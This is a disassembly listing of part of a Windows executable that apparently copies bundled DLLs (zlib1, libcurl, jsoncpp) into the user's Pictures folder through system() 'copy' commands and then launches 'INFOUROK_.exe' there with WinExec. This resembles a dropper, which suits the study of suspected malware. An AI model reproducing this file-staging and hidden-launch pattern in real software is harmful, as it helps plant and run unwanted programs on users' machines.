jb 0x140002f80
lea rax, [rcx + 0x17]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x38]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x38]
add rbx, rcx
mov r8d, 0x17
lea rdx, str.PicturesINFOUROK_.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x17], 0
lea rax, [rsp + 0x38]
jmp 0x140002f9f
mov qword [rsp + 0x20], 0x17
lea r9, str.PicturesINFOUROK_.exe
mov edx, 0x17
lea rcx, [rsp + 0x38]
call fcn.1400056d0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], r14
mov qword [rbp + 0xf0], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe8], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0xf
cmova rcx, qword [rbp + 0xd8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x14000303e
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003039
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003039
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rbp + 0xe8], r14
mov qword [rbp + 0xf0], 0xf
mov byte [rbp + 0xd8], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140003097
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003092
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003092
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x1400030e8
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400030e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r14
lea rax, [rbp + 0x120]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140003112
mov r8, rsi
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x98]
call fcn.140005160
nop
mov r8, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x1400031d9
lea rax, [r8 + 9]
mov qword [rbp + 0xa8], rax
lea rbx, [rbp + 0x98]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x98]
lea rax, [0x1400085c1]
cmp rax, rbx
jbe 0x140003195
lea rax, [rbx + r8]
cmp rdi, rax
ja 0x140003195
cmp rbx, rdi
ja 0x14000318d
mov rsi, r14
jmp 0x14000319a
mov rsi, rbx
sub rsi, rdi
jmp 0x14000319a
mov esi, 9
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rsi]
mov r8d, 9
sub r8, rsi
lea rdx, [rsi + 9]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x98]
jmp 0x1400031f8
mov qword [rsp + 0x28], 9
mov qword [rsp + 0x20], rdi
mov edx, 9
lea rcx, [rbp + 0x98]
call fcn.140005dd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x14000327b
lea rax, [rcx + 9]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x58]
add rbx, rcx
mov r8d, 9
lea rdx, str.Pictures
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 9], 0
lea rax, [rsp + 0x58]
jmp 0x14000329a
mov qword [rsp + 0x20], 9
lea r9, str.Pictures
mov edx, 9
lea rcx, [rsp + 0x58]
call fcn.1400056d0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r14, [rbp + 0x100]
cmp byte [rsp + 0x30], 0
cmovne r14, qword [rbp + 0x78]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov esi, 0xf
lea rbx, [rsp + 0x38]
cmp r15, rsi
jbe 0x14000337e
mov rsi, r15
or rsi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
jbe 0x140003338
mov rsi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140005f90
test rax, rax
je 0x140003361
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140003379
cmp rsi, 0x16
mov eax, 0x16
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x140003368
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003aca
jmp 0x14000331d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140003377
call fcn.140005f90
mov rbx, rax
jmp 0x140003379
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], rsi
mov eax, dword [str.copy]
mov dword [rbx], eax
movzx eax, byte [0x1400085e0]
mov byte [rbx + 4], al
lea rcx, [rbx + 5]
mov r8, r13
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x1400033ff
lea rax, [rcx + 0xc]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x38]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x38]
add rbx, rcx
mov r8d, 0xc
lea rdx, str.Dszlib1.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xc], 0
lea rax, [rsp + 0x38]
jmp 0x14000341e
mov qword [rsp + 0x20], 0xc
lea r9, str.Dszlib1.dll
mov edx, 0xc
lea rcx, [rsp + 0x38]
call fcn.1400056d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xor ebx, ebx
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x70]
mov rax, r8
sub rax, rdx
lea rcx, [rsp + 0x78]
cmp rax, 2
jb 0x14000348f
lea rax, [rdx + 2]
mov qword [rbp - 0x78], rax
cmp r8, 0xf
cmova rcx, qword [rsp + 0x78]
movzx eax, word [0x1400085c4]
mov word [rcx + rdx], ax
mov byte [rcx + rdx + 2], bl
lea rax, [rsp + 0x78]
jmp 0x1400034a9
mov qword [rsp + 0x20], 2
lea r9, [0x1400085c4]
mov edx, 2
call fcn.1400056d0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp - 0x28]
lea r8, [rbp - 0x48]
lea rcx, [rbp - 0x68]
call fcn.140005a70
nop
mov rdx, qword [rbp - 0x58]
mov r8, qword [rbp - 0x50]
mov rax, r8
sub rax, rdx
lea rcx, [rbp - 0x68]
cmp rax, 1
jb 0x140003517
lea rax, [rdx + 1]
mov qword [rbp - 0x58], rax
cmp r8, 0xf
cmova rcx, qword [rbp - 0x68]
movzx eax, word [0x1400085a0]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], 0
lea rax, [rbp - 0x68]
jmp 0x140003531
mov qword [rsp + 0x20], 1
lea r9, [0x1400085a0]
mov edx, 1
call fcn.1400056d0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], rbx
mov qword [rbp + 0xf0], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0xf
cmova rcx, qword [rbp + 0xd8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x1400035ce
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400035c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rbp + 0xe8], rbx
mov qword [rbp + 0xf0], 0xf
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140003625
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003620
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003620
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140003674
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000366e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000366e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005fcc
nop
lea rcx, [rsp + 0x78]
call fcn.140004530
nop
lea rcx, [rsp + 0x38]
call fcn.140004530
nop
lea rcx, [rbp - 0x28]
call fcn.140004530
nop
lea rcx, [rsp + 0x58]
call fcn.140004530
nop
lea rcx, [rbp + 0x98]
call fcn.140004530
lea rdx, [rbp + 0x120]
lea rcx, [rbp - 0x68]
call fcn.140004590
nop
mov r8, rax
mov rdx, r12
lea rcx, [rbp + 0xd8]
call fcn.140004b70
nop
lea r8, str.Pictureszlib1.dll
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140004de0
mov rcx, rax
call fcn.140004400
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp - 0x48]
call fcn.140004530
nop
lea rcx, [rbp + 0xd8]
call fcn.140004530
nop
lea rcx, [rbp - 0x68]
call fcn.140004530
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x78]
call fcn.140004590
nop
mov r8, rax
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.140004b70
nop
lea r8, str.Pictures
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140004de0
mov rbx, rax
lea r8, [rbp + 0x100]
lea rcx, [rsp + 0x78]
call fcn.140004ca0
nop
lea r8, str.Dslibcurl.dll
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140004de0
nop
lea r8, [0x1400085c4]
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140004de0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.140004e40
nop
lea r8, [0x1400085a0]
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140004de0
mov rcx, rax
call fcn.140004400
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x48]
call fcn.140004530
nop
lea rcx, [rbp + 0xd8]
call fcn.140004530
nop
lea rcx, [rbp - 0x68]
call fcn.140004530
nop
lea rcx, [rsp + 0x38]
call fcn.140004530
nop
lea rcx, [rsp + 0x78]
call fcn.140004530
nop
lea rcx, [rsp + 0x58]
call fcn.140004530
nop
lea rcx, [rbp - 0x28]
call fcn.140004530
nop
lea rcx, [rbp + 0x78]
call fcn.140004530
lea rdx, [rbp + 0x120]
lea rcx, [rbp - 0x68]
call fcn.140004590
nop
mov r8, rax
mov rdx, r12
lea rcx, [rbp + 0xd8]
call fcn.140004b70
nop
lea r8, str.Pictureslibcurl.dll
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140004de0
mov rcx, rax
call fcn.140004400
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp - 0x48]
call fcn.140004530
nop
lea rcx, [rbp + 0xd8]
call fcn.140004530
nop
lea rcx, [rbp - 0x68]
call fcn.140004530
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x78]
call fcn.140004590
nop
mov r8, rax
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.140004b70
nop
lea r8, str.Pictures
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140004de0
mov rbx, rax
lea r8, [rbp + 0x100]
lea rcx, [rsp + 0x78]
call fcn.140004ca0
nop
lea r8, str.Dsjsoncpp.dll
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140004de0
nop
lea r8, [0x1400085c4]
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140004de0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.140004e40
nop
lea r8, [0x1400085a0]
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140004de0
mov rcx, rax
call fcn.140004400
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x48]
call fcn.140004530
nop
lea rcx, [rbp + 0xd8]
call fcn.140004530
nop
lea rcx, [rbp - 0x68]
call fcn.140004530
nop
lea rcx, [rsp + 0x38]
call fcn.140004530
nop
lea rcx, [rsp + 0x78]
call fcn.140004530
nop
lea rcx, [rsp + 0x58]
call fcn.140004530
nop
lea rcx, [rbp - 0x28]
call fcn.140004530
nop
lea rcx, [rbp + 0x78]
call fcn.140004530
lea rdx, [rbp + 0x120]
lea rcx, [rbp - 0x68]
call fcn.140004590
nop
mov r8, rax
mov rdx, r12
lea rcx, [rbp + 0xd8]
call fcn.140004b70
nop
lea r8, str.Picturesjsoncpp.dll
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140004de0
mov rcx, rax
call fcn.140004400
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp - 0x48]
call fcn.140004530
nop
lea rcx, [rbp + 0xd8]
call fcn.140004530
nop
lea rcx, [rbp - 0x68]
call fcn.140004530
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x120]
lea rcx, [rbp - 0x68]
call fcn.140004590
nop
mov r8, rax
lea rdx, str._C:Users_
lea rcx, [rbp + 0xd8]
call fcn.140004b70
nop
lea r8, str.PicturesINFOUROK_.exe_
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140004de0
mov rcx, rax
call fcn.140004400
mov rcx, rax
mov edx, 5
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp - 0x48]
call fcn.140004530
nop
lea rcx, [rbp + 0xd8]
call fcn.140004530
nop
lea rcx, [rbp - 0x68]
call fcn.140004530
nop
lea rcx, [rbp + 0x100]
call fcn.140004530
xor eax, eax
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.140005f70
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
nop
call fcn.140001100
nop
call fcn.140001100
nop
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], 7
mov word [rbp - 8], r15w
mov dword [rbp + 0x78], 3
call fcn.140001d10
int3